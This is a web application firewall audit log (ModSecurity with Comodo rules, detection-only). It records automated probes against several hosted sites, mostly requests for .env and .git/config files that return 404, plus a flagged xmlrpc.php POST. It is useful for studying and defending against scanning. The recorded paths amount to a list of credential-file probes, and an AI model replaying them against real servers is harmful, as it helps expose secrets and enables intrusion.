rel="https://api.w.org/" Set-Cookie: _sfs_id=2576f2f3bbdfd938ffb8f5b82a50ece41750016472; expires=Sun, 15 Jun 2025 20:41:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b2eccd67-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/docker-elk/.env"] [unique_id "aE8h1-uqUCmpR0cewAv9UwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016471984966 648047 (- - -) Stopwatch2: 1750016471984966 648047; combined=1903, p1=383, p2=1423, p3=0, p4=0, p5=97, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b2eccd67-Z-- --b256fa13-A-- [16/Jun/2025:01:11:15.643616 +0530] aE8h2uuqUCmpR0cewAv9VAAAAAE 185.177.72.210 41688 127.0.0.1 7081 --b256fa13-B-- GET /localsettings.php.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b256fa13-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=23aa1362ac1a44c4d6f3305462480a051750016475; expires=Sun, 15 Jun 2025 20:41:15 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b256fa13-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/localsettings.php.old"] [unique_id "aE8h2uuqUCmpR0cewAv9VAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016474990404 653335 (- - -) Stopwatch2: 1750016474990404 653335; combined=1882, p1=328, p2=1455, p3=0, p4=0, p5=99, sr=100, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b256fa13-Z-- --2a7b7e5a-A-- [16/Jun/2025:01:11:17.648593 +0530] aE8h3SCwfN5GtQhYhHBFlgAAAAw 185.177.72.210 41790 127.0.0.1 7081 --2a7b7e5a-B-- GET /:8443/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2a7b7e5a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=10635c9999b7bcc74a5bad9cee11d5c41750016477; expires=Sun, 15 Jun 2025 20:41:17 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2a7b7e5a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/.env.production"] [unique_id "aE8h3SCwfN5GtQhYhHBFlgAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016477002989 645667 (- - -) Stopwatch2: 1750016477002989 645667; combined=1693, p1=378, p2=1212, p3=0, p4=0, p5=102, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2a7b7e5a-Z-- --ef56ae6f-A-- [16/Jun/2025:01:11:20.756868 +0530] aE8h3zwutQMQaeKIpO_NnQAAAAg 34.150.244.57 41864 127.0.0.1 7081 --ef56ae6f-B-- GET /.git/config HTTP/1.0 Host: www.rooferscombine.com X-Real-IP: 34.150.244.57 X-Accel-Internal: /internal-nginx-static-location Connection: close Accept-Encoding: gzip --ef56ae6f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Connection: close Content-Type: text/html; charset=UTF-8 --ef56ae6f-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rooferscombine.com"] [uri "/.git/config"] [unique_id "aE8h3zwutQMQaeKIpO_NnQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/rooferscombine.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016479235509 1521426 (- - -) Stopwatch2: 1750016479235509 1521426; combined=1889, p1=389, p2=1411, p3=0, p4=0, p5=88, sr=98, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ef56ae6f-Z-- --deb3d824-A-- [16/Jun/2025:01:11:33.858508 +0530] aE8h7DwutQMQaeKIpO_NogAAAAg 128.199.112.101 37560 127.0.0.1 7081 --deb3d824-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 486 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --deb3d824-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --deb3d824-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8h7DwutQMQaeKIpO_NogAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016492895305 963257 (- - -) Stopwatch2: 1750016492895305 963257; combined=2147, p1=361, p2=1462, p3=32, p4=50, p5=153, sr=93, sw=89, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --deb3d824-Z-- --1489853a-A-- [16/Jun/2025:01:11:37.780982 +0530] aE8h8SCwfN5GtQhYhHBFnwAAAAw 185.177.72.210 37730 127.0.0.1 7081 --1489853a-B-- GET /:8888/.env.copy HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1489853a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=569ae1c0887d5288b9452a2a81c2612f1750016497; expires=Sun, 15 Jun 2025 20:41:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1489853a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/.env.copy"] [unique_id "aE8h8SCwfN5GtQhYhHBFnwAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016497129034 652023 (- - -) Stopwatch2: 1750016497129034 652023; combined=2010, p1=418, p2=1467, p3=0, p4=0, p5=124, sr=118, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1489853a-Z-- --5b82c904-A-- [16/Jun/2025:01:11:43.184101 +0530] aE8h9iCwfN5GtQhYhHBFoQAAAAw 185.177.72.210 58294 127.0.0.1 7081 --5b82c904-B-- GET /icon/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5b82c904-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=64ce7141de4f88154c9d841713dcb5ec1750016503; expires=Sun, 15 Jun 2025 20:41:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5b82c904-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/icon/.env"] [unique_id "aE8h9iCwfN5GtQhYhHBFoQAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016502538247 645946 (- - -) Stopwatch2: 1750016502538247 645946; combined=1981, p1=404, p2=1481, p3=0, p4=0, p5=96, sr=103, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5b82c904-Z-- --eb59e634-A-- [16/Jun/2025:01:12:01.532146 +0530] aE8iCHsalJN_0-_70dLxZwAAAAU 185.177.72.210 43874 127.0.0.1 7081 --eb59e634-B-- GET /template/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --eb59e634-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=de126f796cc48809f6736768d00a8b411750016521; expires=Sun, 15 Jun 2025 20:42:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --eb59e634-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/template/.env"] [unique_id "aE8iCHsalJN_0-_70dLxZwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016520867579 664643 (- - -) Stopwatch2: 1750016520867579 664643; combined=2170, p1=473, p2=1599, p3=0, p4=0, p5=97, sr=116, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --eb59e634-Z-- --1b61814d-A-- [16/Jun/2025:01:12:08.521779 +0530] aE8iDzwutQMQaeKIpO_NsQAAAAg 185.177.72.210 44144 127.0.0.1 7081 --1b61814d-B-- GET /:8080/build/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1b61814d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=eef8b7ad44808f0b6178c148ae294b1b1750016528; expires=Sun, 15 Jun 2025 20:42:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1b61814d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/build/.env"] [unique_id "aE8iDzwutQMQaeKIpO_NsQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016527848513 673327 (- - -) Stopwatch2: 1750016527848513 673327; combined=1835, p1=353, p2=1397, p3=0, p4=0, p5=85, sr=75, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1b61814d-Z-- --e351df39-A-- [16/Jun/2025:01:12:09.533282 +0530] aE8iECCwfN5GtQhYhHBFrQAAAAw 185.177.72.210 44176 127.0.0.1 7081 --e351df39-B-- GET /:8008/en/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e351df39-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9b71337d619ee21b39afd318672b1aeb1750016529; expires=Sun, 15 Jun 2025 20:42:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e351df39-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/en/.env"] [unique_id "aE8iECCwfN5GtQhYhHBFrQAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016528843814 689542 (- - -) Stopwatch2: 1750016528843814 689542; combined=2393, p1=621, p2=1677, p3=0, p4=0, p5=95, sr=110, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e351df39-Z-- --52052b76-A-- [16/Jun/2025:01:12:15.599240 +0530] aE8iFnsalJN_0-_70dLxbgAAAAU 185.177.72.210 55398 127.0.0.1 7081 --52052b76-B-- GET /.git/config HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --52052b76-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5e34a264a2a86929a83f7ee29180f8291750016535; expires=Sun, 15 Jun 2025 20:42:15 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --52052b76-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/config"] [unique_id "aE8iFnsalJN_0-_70dLxbgAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016534935616 663687 (- - -) Stopwatch2: 1750016534935616 663687; combined=1737, p1=360, p2=1284, p3=0, p4=0, p5=92, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --52052b76-Z-- --9b205c60-A-- [16/Jun/2025:01:12:20.724887 +0530] aE8iHIfvqn7_SDWw_wX3eQAAAAc 185.177.72.210 57790 127.0.0.1 7081 --9b205c60-B-- GET /:8080/new/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9b205c60-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3d36b94599e4958397b892c94a1fd6551750016540; expires=Sun, 15 Jun 2025 20:42:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9b205c60-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/new/.env"] [unique_id "aE8iHIfvqn7_SDWw_wX3eQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016540034438 690551 (- - -) Stopwatch2: 1750016540034438 690551; combined=1940, p1=391, p2=1422, p3=0, p4=0, p5=127, sr=108, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9b205c60-Z-- --b072721c-A-- [16/Jun/2025:01:12:21.708226 +0530] aE8iHXsalJN_0-_70dLxcQAAAAU 185.177.72.210 57812 127.0.0.1 7081 --b072721c-B-- GET /bak/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b072721c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d02fd8bdc09e662562de93135883f92a1750016541; expires=Sun, 15 Jun 2025 20:42:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b072721c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/bak/.env.staging"] [unique_id "aE8iHXsalJN_0-_70dLxcQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016541047996 660293 (- - -) Stopwatch2: 1750016541047996 660293; combined=1917, p1=393, p2=1429, p3=0, p4=0, p5=95, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b072721c-Z-- --2570897b-A-- [16/Jun/2025:01:12:23.599317 +0530] aE8iHiCwfN5GtQhYhHBFswAAAAw 185.177.72.210 57886 127.0.0.1 7081 --2570897b-B-- GET /client/mutual-fund-app/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2570897b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6afee9668baf1b0507045187a7a23dcd1750016543; expires=Sun, 15 Jun 2025 20:42:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2570897b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/client/mutual-fund-app/.env"] [unique_id "aE8iHiCwfN5GtQhYhHBFswAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016542932660 666719 (- - -) Stopwatch2: 1750016542932660 666719; combined=1764, p1=389, p2=1280, p3=0, p4=0, p5=95, sr=90, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2570897b-Z-- --567f056f-A-- [16/Jun/2025:01:12:25.940317 +0530] aE8iISCwfN5GtQhYhHBFtAAAAAw 185.177.72.210 57994 127.0.0.1 7081 --567f056f-B-- GET /:8880/.c9/metadata/environnement/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: 